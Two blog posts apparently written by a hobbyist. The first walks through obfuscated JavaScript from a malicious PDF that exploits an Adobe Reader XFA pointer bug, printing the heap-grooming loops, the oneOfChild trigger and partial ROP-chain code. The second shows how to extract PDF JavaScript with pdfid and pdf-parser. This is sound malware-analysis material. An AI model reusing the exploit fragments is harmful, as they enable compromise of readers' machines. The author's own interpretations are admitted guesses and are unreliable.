for (var oRREVOLI = 0x0; oRREVOLI < (0x1000); oRREVOLI++) sORRIDENDO.push(xfa.datasets.createNode('dataValue', "eNGLISH" + oRREVOLI.toString()));


Then the attacker adds 4,096 empty nodes to a dataset in the PDF.

for (var aLLODETTA = 0x225; aLLODETTA >= 1; aLLODETTA--) {

iTERATE = xfa.resolveNode('xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field' + aLLODETTA.toString() + '[0].#ui[0]');

dIMESSA.push(iTERATE);

eCCELSE = xfa.resolveNode('xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field' + aLLODETTA.toString() + '[0].#ui[0].#choiceList[0]');

cOMPAGNIA.push(eCCELSE);

}


Then the attacker loads a bunch of drop down lists from user interface objects from the 1st page and form in the PDF and saves references to them in some arrays, to use later.

xfa.resolveNode('xfa[0].form[0].form1[0].#subform[0].rect1').keep.previous = 'contentArea';

Things are starting to get blurry from me, but I'll press on. Now it seems to set a rectangle in the PDF form to have it's keep.previous value to 'contentArea'. From what I've read, this is related to the bug the attacker is trying to exploit. Once the drop down list is re-attached to the form, the bug will trigger.

pASSARSI = app.setTimeOut("NextMainAc();", 500);


Now the attacker is going to call the another function called NextMainAc after a 1/2 second pause.


for (var iMMOBILI = 0x0; iMMOBILI < (0x3f); iMMOBILI++) {

var eNGLISH = xfa.resolveNode('xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field' + objNumber.toString() + '[0].#ui');

if (eNGLISH == undefined || eNGLISH == null) {

}

try {

eNGLISH.oneOfChild = cOMPAGNIA.pop();

} catch (e) {


To skip along a bit in the code, you should spot where it's pulling the drop down lists back out of the array cOMPAGNIA where they were saved earlier. From what I have read again, it sounds like the line of code saying eNGLISH.oneOfChild basically triggers the Adobe vulnerability by re-attaching the list. This causes Adobe to de-reference an unitialized pointer which with proper tinkering of the heap can cause the execution of the attackers malicious code.

function oTHERWISE(pRENDENDO, t) {

if (pRENDENDO == '10.0.1.434') {

var r = "";

r += ue(t + 0x39);

r += ue(t + 0x39);
r += ue(t + 0x39);
...
r += ue(t + 0x412b0b);

r += ue(t + 0x519ee3);
r += ue(t + 0x793001);
r += ue(t + 0x57dc29);
r += ue(0x54746547);
r += ue(t + 0x464e3a);
r += ue(t + 0x519ee3);
r += ue(t + 0x793005);
r += ue(t + 0x57dc29);
r += ue(0x50706d65);
r += ue(t + 0x464e3a);
r += ue(t + 0x519ee3);
r += ue(t + 0x793009);
r += ue(t + 0x57dc29);


Then again trying my best to parse thru, I see code like this and think that it's probably the payload (the executables, etc.) that are going to be delivered to the victim's machine in an Adobe temp folder somewhere.


function pECCATORE(pRELIBA) {

var cACCIANLI = 'contentArea';
...
lARGISCON.push(xfa.template.createNode(cACCIANLI, "t"));


And I'm no expert, so just guessing that one of the lines of code like this is pushing the payload into the PDF so that it can begin to execute when that pointer dereferencing bug is triggered.

Summary: Well, I tried :-) I hope you found it interesting. It appears that this javascript is attempting to take advantage of a specific vulnerability in Adobe by setting certain parameters and values in the Adobe API. It uses lots of obfuscation techniques to make the code and payload virtually unreadable.

Be careful what you open!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Analyzing Malicious PDF with Javascript in It

Let's say you have a PDF that you suspect is suspicious. Here's one way to analyze it. First download Python 2.7, then download these 2 tools (pdfid and pfd-parser) from Didier Stevens.

Then run pdfid against the pdf to get counts of what types of objects are in the pdf.


python.exe pdfid.py badpdf.pdf


Notice you see that the counts indicate "1" Javascript section in the PDF. Could be suspicious?

Then run pdf-parser to extract the raw contents of the pdf (including the javascript).

python.exe pdf-parser.py -f -w badpdf.pdf > output.txt

Open the output.txt in Notepad++


Scroll down and find the javascript!


Time for analysis!!!

Thank you to this great post by Zelster Security group for getting me started on this and these great tools by Didier Stevens.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.